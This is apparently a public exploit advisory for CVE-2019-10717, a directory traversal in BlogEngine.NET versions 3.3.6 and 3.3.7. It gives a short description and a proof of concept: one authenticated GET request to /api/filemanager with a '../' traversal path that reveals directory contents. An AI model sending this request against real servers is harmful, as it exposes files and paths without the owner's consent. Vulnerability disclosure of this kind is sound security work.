# Exploit Title: Directory Traversal on BlogEngine.NET  
# Date: 24 Jun 2019  
# Exploit Author: Aaron Bishop  
# Vendor Homepage:  
# Version: v3.3.7  
# Tested on: 3.3.7, 3.3.6  
# CVE : 2019-10717  
1. Description  
BlogEngine.NET is vulnerable to a directory traversal. The page parameter, passed to /api/filemanager, reveals the contents of the directory.  
2. Proof of Concept  
Log in to the application and submit a GET request to /api/filemanager:  
GET /api/filemanager?path=/../../ HTTP/1.1
